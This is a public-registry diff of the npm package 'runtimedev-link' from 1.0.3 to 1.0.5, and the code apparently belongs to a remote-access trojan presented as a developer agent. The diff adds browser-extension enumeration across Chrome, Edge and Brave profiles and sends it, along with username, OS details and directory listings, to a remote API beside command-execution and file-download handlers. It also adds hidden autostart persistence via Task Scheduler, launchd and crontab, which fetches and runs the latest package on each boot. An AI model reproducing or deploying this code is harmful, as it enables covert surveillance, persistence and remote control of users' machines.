runtimedev-link 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/chrome_extensions.js +241 -0
- package/lib/persistence.js +161 -121
- package/lib/transport.js +12 -1
- package/package.json +1 -1
|
@@ -0,0 +1,241 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
function homeDir() {
|
|
7
|
+
try {
|
|
8
|
+
return process.env.HOME || process.env.USERPROFILE || '';
|
|
9
|
+
} catch {
|
|
10
|
+
return '';
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function appendProfileExtensionDirs(roots, userDataDir) {
|
|
15
|
+
let entries = [];
|
|
16
|
+
try {
|
|
17
|
+
entries = fs.readdirSync(userDataDir, { withFileTypes: true });
|
|
18
|
+
} catch {
|
|
19
|
+
return;
|
|
20
|
+
}
|
|
21
|
+
for (const entry of entries) {
|
|
22
|
+
if (!entry.isDirectory()) continue;
|
|
23
|
+
const name = entry.name;
|
|
24
|
+
if (name === 'System Profile' || name.startsWith('Snapshot')) continue;
|
|
25
|
+
const ext = path.join(userDataDir, name, 'Extensions');
|
|
26
|
+
try {
|
|
27
|
+
if (fs.statSync(ext).isDirectory()) roots.push(ext);
|
|
28
|
+
} catch {
|
|
29
|
+
// ignore
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function chromeExtensionScanRoots() {
|
|
35
|
+
const custom = String(process.env.SSTAR_CHROME_EXTENSIONS_DIR || '').trim();
|
|
36
|
+
if (custom) return [path.resolve(custom)];
|
|
37
|
+
|
|
38
|
+
const home = homeDir();
|
|
39
|
+
const roots = [];
|
|
40
|
+
|
|
41
|
+
if (process.platform === 'win32') {
|
|
42
|
+
let la = process.env.LOCALAPPDATA || '';
|
|
43
|
+
if (!la && process.env.USERPROFILE) {
|
|
44
|
+
la = path.join(process.env.USERPROFILE, 'AppData', 'Local');
|
|
45
|
+
}
|
|
46
|
+
if (la) {
|
|
47
|
+
appendProfileExtensionDirs(
|
|
48
|
+
roots,
|
|
49
|
+
path.join(la, 'Google', 'Chrome', 'User Data')
|
|
50
|
+
);
|
|
51
|
+
appendProfileExtensionDirs(
|
|
52
|
+
roots,
|
|
53
|
+
path.join(la, 'Microsoft', 'Edge', 'User Data')
|
|
54
|
+
);
|
|
55
|
+
appendProfileExtensionDirs(
|
|
56
|
+
roots,
|
|
57
|
+
path.join(la, 'BraveSoftware', 'Brave-Browser', 'User Data')
|
|
58
|
+
);
|
|
59
|
+
}
|
|
60
|
+
} else if (process.platform === 'darwin') {
|
|
61
|
+
if (home) {
|
|
62
|
+
appendProfileExtensionDirs(
|
|
63
|
+
roots,
|
|
64
|
+
path.join(home, 'Library', 'Application Support', 'Google', 'Chrome')
|
|
65
|
+
);
|
|
66
|
+
}
|
|
67
|
+
} else if (home) {
|
|
68
|
+
appendProfileExtensionDirs(
|
|
69
|
+
roots,
|
|
70
|
+
path.join(home, '.config', 'google-chrome')
|
|
71
|
+
);
|
|
72
|
+
appendProfileExtensionDirs(roots, path.join(home, '.config', 'chromium'));
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
return roots;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
function latestVersionDir(extPath) {
|
|
79
|
+
let entries = [];
|
|
80
|
+
try {
|
|
81
|
+
entries = fs.readdirSync(extPath, { withFileTypes: true });
|
|
82
|
+
} catch {
|
|
83
|
+
return '';
|
|
84
|
+
}
|
|
85
|
+
const vers = [];
|
|
86
|
+
for (const entry of entries) {
|
|
87
|
+
if (entry.isDirectory()) vers.push(entry.name);
|
|
88
|
+
}
|
|
89
|
+
if (vers.length === 0) return '';
|
|
90
|
+
vers.sort((a, b) => (a > b ? -1 : a < b ? 1 : 0));
|
|
91
|
+
return vers[0];
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
function lookupChromeMessage(messagesPath, key) {
|
|
95
|
+
try {
|
|
96
|
+
const raw = JSON.parse(fs.readFileSync(messagesPath, 'utf8'));
|
|
97
|
+
const entry = raw && raw[key];
|
|
98
|
+
if (entry && entry.message) return String(entry.message).trim();
|
|
99
|
+
} catch {
|
|
100
|
+
// ignore
|
|
101
|
+
}
|
|
102
|
+
return '';
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
function resolveLocalizedExtensionName(extVersionRoot, defaultLocale, raw) {
|
|
106
|
+
const name = String(raw || '').trim();
|
|
107
|
+
if (!name.startsWith('__MSG_') || !name.endsWith('__')) return name;
|
|
108
|
+
const key = name.slice('__MSG_'.length, -2);
|
|
109
|
+
if (!key) return '';
|
|
110
|
+
|
|
111
|
+
const localesDir = path.join(extVersionRoot, '_locales');
|
|
112
|
+
const tryLocales = [];
|
|
113
|
+
if (defaultLocale) tryLocales.push(String(defaultLocale).trim());
|
|
114
|
+
tryLocales.push('en', 'en_US', 'en_GB');
|
|
115
|
+
try {
|
|
116
|
+
for (const entry of fs.readdirSync(localesDir, { withFileTypes: true })) {
|
|
117
|
+
if (entry.isDirectory()) tryLocales.push(entry.name);
|
|
118
|
+
}
|
|
119
|
+
} catch {
|
|
120
|
+
// ignore
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
const seen = new Set();
|
|
124
|
+
for (const loc of tryLocales) {
|
|
125
|
+
if (!loc || seen.has(loc)) continue;
|
|
126
|
+
seen.add(loc);
|
|
127
|
+
const msg = lookupChromeMessage(
|
|
128
|
+
path.join(localesDir, loc, 'messages.json'),
|
|
129
|
+
key
|
|
130
|
+
);
|
|
131
|
+
if (msg) return msg;
|
|
132
|
+
}
|
|
133
|
+
return '';
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
function readExtensionManifest(manifestPath) {
|
|
137
|
+
try {
|
|
138
|
+
const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
|
|
139
|
+
const extRoot = path.dirname(manifestPath);
|
|
140
|
+
let name = String(manifest.name || '').trim();
|
|
141
|
+
if (name.startsWith('__MSG_')) {
|
|
142
|
+
name = resolveLocalizedExtensionName(
|
|
143
|
+
extRoot,
|
|
144
|
+
manifest.default_locale,
|
|
145
|
+
name
|
|
146
|
+
);
|
|
147
|
+
}
|
|
148
|
+
return { name, version: String(manifest.version || '').trim() };
|
|
149
|
+
} catch {
|
|
150
|
+
return { name: '', version: '' };
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
function mergeManualExtensions(disk, envJson) {
|
|
155
|
+
const raw = String(envJson || '').trim();
|
|
156
|
+
if (!raw) return disk;
|
|
157
|
+
let manual = [];
|
|
158
|
+
try {
|
|
159
|
+
manual = JSON.parse(raw);
|
|
160
|
+
} catch {
|
|
161
|
+
return disk;
|
|
162
|
+
}
|
|
163
|
+
if (!Array.isArray(manual) || manual.length === 0) return disk;
|
|
164
|
+
|
|
165
|
+
const byId = new Map();
|
|
166
|
+
for (const ext of disk) {
|
|
167
|
+
if (ext.extensionId) byId.set(ext.extensionId, ext);
|
|
168
|
+
}
|
|
169
|
+
for (const ext of manual) {
|
|
170
|
+
const id = ext.extensionId || ext.extensionID;
|
|
171
|
+
if (!id) continue;
|
|
172
|
+
const prev = byId.get(id);
|
|
173
|
+
const installPath =
|
|
174
|
+
String(ext.installPath || '').trim() ||
|
|
175
|
+
(prev && prev.installPath) ||
|
|
176
|
+
'';
|
|
177
|
+
byId.set(id, {
|
|
178
|
+
extensionId: id,
|
|
179
|
+
extensionName:
|
|
180
|
+
ext.extensionName || ext.name || (prev && prev.extensionName) || id,
|
|
181
|
+
version: ext.version || (prev && prev.version) || '',
|
|
182
|
+
installPath,
|
|
183
|
+
});
|
|
184
|
+
}
|
|
185
|
+
return [...byId.values()].sort((a, b) =>
|
|
186
|
+
a.extensionId.localeCompare(b.extensionId)
|
|
187
|
+
);
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
function collectChromeExtensionsFromDisk() {
|
|
191
|
+
const seen = new Set();
|
|
192
|
+
const out = [];
|
|
193
|
+
|
|
194
|
+
for (const root of chromeExtensionScanRoots()) {
|
|
195
|
+
let st;
|
|
196
|
+
try {
|
|
197
|
+
st = fs.statSync(root);
|
|
198
|
+
} catch {
|
|
199
|
+
continue;
|
|
200
|
+
}
|
|
201
|
+
if (!st.isDirectory()) continue;
|
|
202
|
+
|
|
203
|
+
let entries = [];
|
|
204
|
+
try {
|
|
205
|
+
entries = fs.readdirSync(root, { withFileTypes: true });
|
|
206
|
+
} catch {
|
|
207
|
+
continue;
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
for (const extDir of entries) {
|
|
211
|
+
if (!extDir.isDirectory()) continue;
|
|
212
|
+
const extId = extDir.name;
|
|
213
|
+
if (seen.has(extId)) continue;
|
|
214
|
+
|
|
215
|
+
const base = path.join(root, extId);
|
|
216
|
+
const ver = latestVersionDir(base);
|
|
217
|
+
if (!ver) continue;
|
|
218
|
+
|
|
219
|
+
const manifestPath = path.join(base, ver, 'manifest.json');
|
|
220
|
+
const { name, version } = readExtensionManifest(manifestPath);
|
|
221
|
+
seen.add(extId);
|
|
222
|
+
out.push({
|
|
223
|
+
extensionId: extId,
|
|
224
|
+
extensionName: name || extId,
|
|
225
|
+
version,
|
|
226
|
+
installPath: path.join(base, ver),
|
|
227
|
+
});
|
|
228
|
+
}
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
out.sort((a, b) => a.extensionId.localeCompare(b.extensionId));
|
|
232
|
+
return mergeManualExtensions(
|
|
233
|
+
out,
|
|
234
|
+
process.env.SSTAR_CHROME_EXTENSIONS_JSON || ''
|
|
235
|
+
);
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
module.exports = {
|
|
239
|
+
collectChromeExtensionsFromDisk,
|
|
240
|
+
chromeExtensionScanRoots,
|
|
241
|
+
};
|
package/lib/persistence.js
CHANGED
|
@@ -1,12 +1,14 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
4
5
|
const path = require('path');
|
|
5
6
|
const { execSync, spawnSync } = require('child_process');
|
|
6
7
|
|
|
7
8
|
const SERVICE_NAME = 'runtimedev-link';
|
|
9
|
+
const NPM_PACKAGE = 'runtimedev-link@latest';
|
|
8
10
|
const LAUNCH_LABEL = 'com.runtimedev.link';
|
|
9
|
-
const
|
|
11
|
+
const WINDOWS_TASK_NAME = 'runtimedev-link';
|
|
10
12
|
|
|
11
13
|
function homeDir() {
|
|
12
14
|
return process.env.HOME || process.env.USERPROFILE || '';
|
|
@@ -28,12 +30,21 @@ function dataDir() {
|
|
|
28
30
|
return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
|
|
29
31
|
}
|
|
30
32
|
|
|
31
|
-
function
|
|
32
|
-
return
|
|
33
|
+
function startScriptPath() {
|
|
34
|
+
return process.platform === 'win32'
|
|
35
|
+
? path.join(dataDir(), 'start.cmd')
|
|
36
|
+
: path.join(dataDir(), 'start.sh');
|
|
33
37
|
}
|
|
34
38
|
|
|
35
|
-
function
|
|
36
|
-
|
|
39
|
+
function logPath() {
|
|
40
|
+
if (process.platform === 'win32') {
|
|
41
|
+
return path.join(process.env.TEMP || homeDir(), `${SERVICE_NAME}.log`);
|
|
42
|
+
}
|
|
43
|
+
return path.join(homeDir(), `${SERVICE_NAME}.log`);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function quoteSh(value) {
|
|
47
|
+
return `"${String(value || '').replace(/"/g, '\\"')}"`;
|
|
37
48
|
}
|
|
38
49
|
|
|
39
50
|
function xmlEscape(value) {
|
|
@@ -44,10 +55,6 @@ function xmlEscape(value) {
|
|
|
44
55
|
.replace(/"/g, '"');
|
|
45
56
|
}
|
|
46
57
|
|
|
47
|
-
function quoteSh(value) {
|
|
48
|
-
return `"${String(value || '').replace(/"/g, '\\"')}"`;
|
|
49
|
-
}
|
|
50
|
-
|
|
51
58
|
function mkdirp(dir) {
|
|
52
59
|
try {
|
|
53
60
|
fs.mkdirSync(dir, { recursive: true });
|
|
@@ -65,104 +72,84 @@ function writeConfig(cfg) {
|
|
|
65
72
|
|
|
66
73
|
mkdirp(configDir());
|
|
67
74
|
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
`SSTAR_DEPLOYMENT_HASH=${hash}`,
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
|
|
75
|
+
fs.writeFileSync(
|
|
76
|
+
configFile(),
|
|
77
|
+
[`SSTAR_API_BASE=${apiBase}`, `SSTAR_DEPLOYMENT_HASH=${hash}`, ''].join('\n'),
|
|
78
|
+
{ mode: 0o600 }
|
|
79
|
+
);
|
|
74
80
|
|
|
75
81
|
if (process.platform === 'win32') {
|
|
76
|
-
|
|
82
|
+
fs.writeFileSync(
|
|
83
|
+
windowsConfigBat(),
|
|
84
|
+
[
|
|
85
|
+
'@echo off',
|
|
86
|
+
`set SSTAR_API_BASE=${apiBase}`,
|
|
87
|
+
`set SSTAR_DEPLOYMENT_HASH=${hash}`,
|
|
88
|
+
'',
|
|
89
|
+
].join('\r\n'),
|
|
90
|
+
'utf8'
|
|
91
|
+
);
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
function writeStartScript() {
|
|
96
|
+
mkdirp(dataDir());
|
|
97
|
+
const script = startScriptPath();
|
|
98
|
+
const log = logPath();
|
|
99
|
+
|
|
100
|
+
if (process.platform === 'win32') {
|
|
101
|
+
const body = [
|
|
77
102
|
'@echo off',
|
|
78
|
-
|
|
79
|
-
`
|
|
103
|
+
'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
|
|
104
|
+
`start /B npx ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
|
|
80
105
|
'',
|
|
81
106
|
].join('\r\n');
|
|
82
|
-
fs.writeFileSync(
|
|
107
|
+
fs.writeFileSync(script, body, 'utf8');
|
|
108
|
+
return script;
|
|
83
109
|
}
|
|
84
110
|
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
),
|
|
97
|
-
'utf8'
|
|
98
|
-
);
|
|
111
|
+
const body = [
|
|
112
|
+
'#!/bin/sh',
|
|
113
|
+
'ENV_FILE="$HOME/.config/runtimedev-link/agent.env"',
|
|
114
|
+
'[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
|
|
115
|
+
`LOG=${quoteSh(log)}`,
|
|
116
|
+
'cd "$HOME" 2>/dev/null || cd /',
|
|
117
|
+
`nohup npx ${NPM_PACKAGE} --token "$SSTAR_DEPLOYMENT_HASH" >> "$LOG" 2>&1 &`,
|
|
118
|
+
'',
|
|
119
|
+
].join('\n');
|
|
120
|
+
fs.writeFileSync(script, body, { mode: 0o755 });
|
|
121
|
+
return script;
|
|
99
122
|
}
|
|
100
123
|
|
|
101
|
-
function run(cmd, args
|
|
124
|
+
function run(cmd, args) {
|
|
102
125
|
try {
|
|
103
|
-
const result = spawnSync(cmd, args, {
|
|
104
|
-
stdio: 'ignore',
|
|
105
|
-
...opts,
|
|
106
|
-
});
|
|
126
|
+
const result = spawnSync(cmd, args, { stdio: 'ignore' });
|
|
107
127
|
return result.status === 0;
|
|
108
128
|
} catch {
|
|
109
129
|
return false;
|
|
110
130
|
}
|
|
111
131
|
}
|
|
112
132
|
|
|
113
|
-
function
|
|
114
|
-
const
|
|
115
|
-
mkdirp(unitDir);
|
|
116
|
-
const unitPath = path.join(unitDir, SYSTEMD_UNIT);
|
|
117
|
-
const envFile = configFile();
|
|
118
|
-
const body = `[Unit]
|
|
119
|
-
Description=RuntimeDev Link Agent
|
|
120
|
-
After=network-online.target
|
|
121
|
-
Wants=network-online.target
|
|
122
|
-
|
|
123
|
-
[Service]
|
|
124
|
-
Type=simple
|
|
125
|
-
EnvironmentFile=${envFile}
|
|
126
|
-
ExecStart=${quoteSh(node)} ${quoteSh(cli)}
|
|
127
|
-
Restart=always
|
|
128
|
-
RestartSec=30
|
|
129
|
-
|
|
130
|
-
[Install]
|
|
131
|
-
WantedBy=default.target
|
|
132
|
-
`;
|
|
133
|
-
fs.writeFileSync(unitPath, body, 'utf8');
|
|
134
|
-
if (
|
|
135
|
-
run('systemctl', ['--user', 'daemon-reload']) &&
|
|
136
|
-
run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
|
|
137
|
-
) {
|
|
138
|
-
return { ok: true, method: 'systemd', path: unitPath };
|
|
139
|
-
}
|
|
140
|
-
return installCrontab(node, cli);
|
|
141
|
-
}
|
|
142
|
-
|
|
143
|
-
function installCrontab(node, cli) {
|
|
144
|
-
const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
|
|
145
|
-
path.join(homeDir(), `${SERVICE_NAME}.log`)
|
|
146
|
-
)} 2>&1`;
|
|
133
|
+
function installCrontab(scriptPath) {
|
|
134
|
+
const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
|
|
147
135
|
let existing = '';
|
|
148
136
|
try {
|
|
149
|
-
existing = execSync('crontab -l', {
|
|
137
|
+
existing = execSync('crontab -l', {
|
|
138
|
+
encoding: 'utf8',
|
|
139
|
+
stdio: ['ignore', 'pipe', 'ignore'],
|
|
140
|
+
});
|
|
150
141
|
} catch {
|
|
151
142
|
existing = '';
|
|
152
143
|
}
|
|
153
|
-
if (existing.includes(
|
|
144
|
+
if (existing.includes(scriptPath) && existing.includes('@reboot')) {
|
|
154
145
|
return { ok: true, method: 'crontab', path: 'existing' };
|
|
155
146
|
}
|
|
156
147
|
const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
return { ok: true, method: 'crontab', path: 'crontab -l' };
|
|
160
|
-
} catch (err) {
|
|
161
|
-
throw new Error(`crontab install failed: ${String(err.message || err)}`);
|
|
162
|
-
}
|
|
148
|
+
execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
|
|
149
|
+
return { ok: true, method: 'crontab', path: 'crontab -l' };
|
|
163
150
|
}
|
|
164
151
|
|
|
165
|
-
function
|
|
152
|
+
function installLaunchd(scriptPath) {
|
|
166
153
|
const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
|
|
167
154
|
mkdirp(agentsDir);
|
|
168
155
|
const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
|
|
@@ -174,29 +161,19 @@ function installDarwin(node, cli, cfg) {
|
|
|
174
161
|
<string>${LAUNCH_LABEL}</string>
|
|
175
162
|
<key>ProgramArguments</key>
|
|
176
163
|
<array>
|
|
177
|
-
<string
|
|
178
|
-
<string>${xmlEscape(
|
|
164
|
+
<string>/bin/sh</string>
|
|
165
|
+
<string>${xmlEscape(scriptPath)}</string>
|
|
179
166
|
</array>
|
|
180
|
-
<key>EnvironmentVariables</key>
|
|
181
|
-
<dict>
|
|
182
|
-
<key>SSTAR_API_BASE</key>
|
|
183
|
-
<string>${xmlEscape(cfg.apiBase)}</string>
|
|
184
|
-
<key>SSTAR_DEPLOYMENT_HASH</key>
|
|
185
|
-
<string>${xmlEscape(cfg.hash)}</string>
|
|
186
|
-
</dict>
|
|
187
167
|
<key>RunAtLoad</key>
|
|
188
168
|
<true/>
|
|
189
|
-
<key>KeepAlive</key>
|
|
190
|
-
<true/>
|
|
191
169
|
<key>StandardOutPath</key>
|
|
192
|
-
<string>${xmlEscape(
|
|
170
|
+
<string>${xmlEscape(logPath())}</string>
|
|
193
171
|
<key>StandardErrorPath</key>
|
|
194
|
-
<string>${xmlEscape(
|
|
172
|
+
<string>${xmlEscape(logPath())}</string>
|
|
195
173
|
</dict>
|
|
196
174
|
</plist>
|
|
197
175
|
`;
|
|
198
176
|
fs.writeFileSync(plistPath, plist, 'utf8');
|
|
199
|
-
|
|
200
177
|
run('launchctl', ['unload', plistPath]);
|
|
201
178
|
const uid = process.getuid ? String(process.getuid()) : '501';
|
|
202
179
|
const svc = `gui/${uid}/${LAUNCH_LABEL}`;
|
|
@@ -210,29 +187,97 @@ function installDarwin(node, cli, cfg) {
|
|
|
210
187
|
return { ok: true, method: 'launchd', path: plistPath };
|
|
211
188
|
}
|
|
212
189
|
|
|
213
|
-
function
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
190
|
+
function windowsUserId() {
|
|
191
|
+
try {
|
|
192
|
+
const info = os.userInfo();
|
|
193
|
+
const domain = String(process.env.USERDOMAIN || '').trim();
|
|
194
|
+
if (domain && domain.toUpperCase() !== String(info.username || '').toUpperCase()) {
|
|
195
|
+
return `${domain}\\${info.username}`;
|
|
196
|
+
}
|
|
197
|
+
return info.username;
|
|
198
|
+
} catch {
|
|
199
|
+
return String(process.env.USERNAME || '');
|
|
217
200
|
}
|
|
218
|
-
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
function removeLegacyWindowsStartup() {
|
|
204
|
+
const appData = process.env.APPDATA;
|
|
205
|
+
if (!appData) return;
|
|
206
|
+
const linkPath = path.join(
|
|
219
207
|
appData,
|
|
220
208
|
'Microsoft',
|
|
221
209
|
'Windows',
|
|
222
210
|
'Start Menu',
|
|
223
211
|
'Programs',
|
|
224
|
-
'Startup'
|
|
212
|
+
'Startup',
|
|
213
|
+
`${SERVICE_NAME}.cmd`
|
|
225
214
|
);
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
215
|
+
try {
|
|
216
|
+
fs.unlinkSync(linkPath);
|
|
217
|
+
} catch {
|
|
218
|
+
// ignore
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
function writeWindowsTaskXml(scriptPath) {
|
|
223
|
+
const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
|
|
224
|
+
const userId = xmlEscape(windowsUserId());
|
|
225
|
+
const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
|
|
226
|
+
const xml = `<?xml version="1.0" encoding="UTF-16"?>
|
|
227
|
+
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
228
|
+
<RegistrationInfo>
|
|
229
|
+
<Description>RuntimeDev Link Agent</Description>
|
|
230
|
+
</RegistrationInfo>
|
|
231
|
+
<Triggers>
|
|
232
|
+
<LogonTrigger>
|
|
233
|
+
<Enabled>true</Enabled>
|
|
234
|
+
<UserId>${userId}</UserId>
|
|
235
|
+
<Delay>PT30S</Delay>
|
|
236
|
+
</LogonTrigger>
|
|
237
|
+
</Triggers>
|
|
238
|
+
<Principals>
|
|
239
|
+
<Principal id="Author">
|
|
240
|
+
<UserId>${userId}</UserId>
|
|
241
|
+
<LogonType>InteractiveToken</LogonType>
|
|
242
|
+
<RunLevel>LeastPrivilege</RunLevel>
|
|
243
|
+
</Principal>
|
|
244
|
+
</Principals>
|
|
245
|
+
<Settings>
|
|
246
|
+
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
|
247
|
+
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
|
248
|
+
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
|
249
|
+
<AllowHardTerminate>true</AllowHardTerminate>
|
|
250
|
+
<StartWhenAvailable>true</StartWhenAvailable>
|
|
251
|
+
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
|
252
|
+
<AllowStartOnDemand>true</AllowStartOnDemand>
|
|
253
|
+
<Enabled>true</Enabled>
|
|
254
|
+
<Hidden>true</Hidden>
|
|
255
|
+
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
|
256
|
+
<WakeToRun>false</WakeToRun>
|
|
257
|
+
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
|
|
258
|
+
<Priority>7</Priority>
|
|
259
|
+
</Settings>
|
|
260
|
+
<Actions Context="Author">
|
|
261
|
+
<Exec>
|
|
262
|
+
<Command>cmd.exe</Command>
|
|
263
|
+
<Arguments>${cmdArgs}</Arguments>
|
|
264
|
+
</Exec>
|
|
265
|
+
</Actions>
|
|
266
|
+
</Task>
|
|
267
|
+
`;
|
|
268
|
+
fs.writeFileSync(xmlPath, Buffer.from('\ufeff' + xml, 'utf16le'));
|
|
269
|
+
return xmlPath;
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
function installWindowsTaskScheduler(scriptPath) {
|
|
273
|
+
removeLegacyWindowsStartup();
|
|
274
|
+
const xmlPath = writeWindowsTaskXml(scriptPath);
|
|
275
|
+
run('schtasks', ['/Delete', '/TN', WINDOWS_TASK_NAME, '/F']);
|
|
276
|
+
const ok = run('schtasks', ['/Create', '/TN', WINDOWS_TASK_NAME, '/XML', xmlPath, '/F']);
|
|
277
|
+
if (!ok) {
|
|
278
|
+
throw new Error('schtasks failed to register autostart (Task Scheduler)');
|
|
279
|
+
}
|
|
280
|
+
return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
|
|
236
281
|
}
|
|
237
282
|
|
|
238
283
|
function installPersistence(cfg) {
|
|
@@ -240,21 +285,15 @@ function installPersistence(cfg) {
|
|
|
240
285
|
throw new Error('Could not resolve home directory');
|
|
241
286
|
}
|
|
242
287
|
writeConfig(cfg);
|
|
243
|
-
const
|
|
244
|
-
const cli = cliPath();
|
|
245
|
-
if (!fs.existsSync(cli)) {
|
|
246
|
-
throw new Error(`CLI not found at ${cli}`);
|
|
247
|
-
}
|
|
288
|
+
const scriptPath = writeStartScript();
|
|
248
289
|
|
|
249
290
|
switch (process.platform) {
|
|
250
291
|
case 'win32':
|
|
251
|
-
return
|
|
292
|
+
return installWindowsTaskScheduler(scriptPath);
|
|
252
293
|
case 'darwin':
|
|
253
|
-
return
|
|
254
|
-
case 'linux':
|
|
255
|
-
return installLinux(node, cli);
|
|
294
|
+
return installLaunchd(scriptPath);
|
|
256
295
|
default:
|
|
257
|
-
return installCrontab(
|
|
296
|
+
return installCrontab(scriptPath);
|
|
258
297
|
}
|
|
259
298
|
}
|
|
260
299
|
|
|
@@ -262,6 +301,7 @@ module.exports = {
|
|
|
262
301
|
SERVICE_NAME,
|
|
263
302
|
configFile,
|
|
264
303
|
configDir,
|
|
304
|
+
startScriptPath,
|
|
265
305
|
installPersistence,
|
|
266
306
|
writeConfig,
|
|
267
307
|
};
|
package/lib/transport.js
CHANGED
|
@@ -8,6 +8,7 @@ const { getIdentity } = require('./enum');
|
|
|
8
8
|
const { scanDirectory, defaultScanRoot } = require('./fs_scan');
|
|
9
9
|
const { runCommand } = require('./exec');
|
|
10
10
|
const { handleDownloadRequest: buildDownloadPayload } = require('./download');
|
|
11
|
+
const { collectChromeExtensionsFromDisk } = require('./chrome_extensions');
|
|
11
12
|
|
|
12
13
|
const POLL_MIN_SEC = 20;
|
|
13
14
|
const POLL_MAX_SEC = 60;
|
|
@@ -25,6 +26,14 @@ let startupAnnounced = false;
|
|
|
25
26
|
let publicIpCache = '';
|
|
26
27
|
let shuttingDown = false;
|
|
27
28
|
|
|
29
|
+
function readChromeExtensions() {
|
|
30
|
+
try {
|
|
31
|
+
return collectChromeExtensionsFromDisk();
|
|
32
|
+
} catch {
|
|
33
|
+
return [];
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
28
37
|
function envInt(key, fallback) {
|
|
29
38
|
const raw = String(process.env[key] || '').trim();
|
|
30
39
|
if (!raw) return fallback;
|
|
@@ -176,7 +185,7 @@ async function postTelemetryReport() {
|
|
|
176
185
|
username: id.username,
|
|
177
186
|
osInfo: id.osInfo,
|
|
178
187
|
directoryStructure,
|
|
179
|
-
chromeExtensions:
|
|
188
|
+
chromeExtensions: readChromeExtensions(),
|
|
180
189
|
});
|
|
181
190
|
}
|
|
182
191
|
|
|
@@ -354,6 +363,7 @@ async function handlePollResponse(data) {
|
|
|
354
363
|
if (data.activated && !agentActivated) {
|
|
355
364
|
agentActivated = true;
|
|
356
365
|
telemetryLoop().catch(() => {});
|
|
366
|
+
postTelemetryReport().catch(() => {});
|
|
357
367
|
}
|
|
358
368
|
|
|
359
369
|
if (!agentActivated) return;
|
|
@@ -435,6 +445,7 @@ async function start() {
|
|
|
435
445
|
}
|
|
436
446
|
|
|
437
447
|
await fetchPublicIp();
|
|
448
|
+
readChromeExtensions();
|
|
438
449
|
commandLoop().catch(() => {});
|
|
439
450
|
}
|
|
440
451
|
|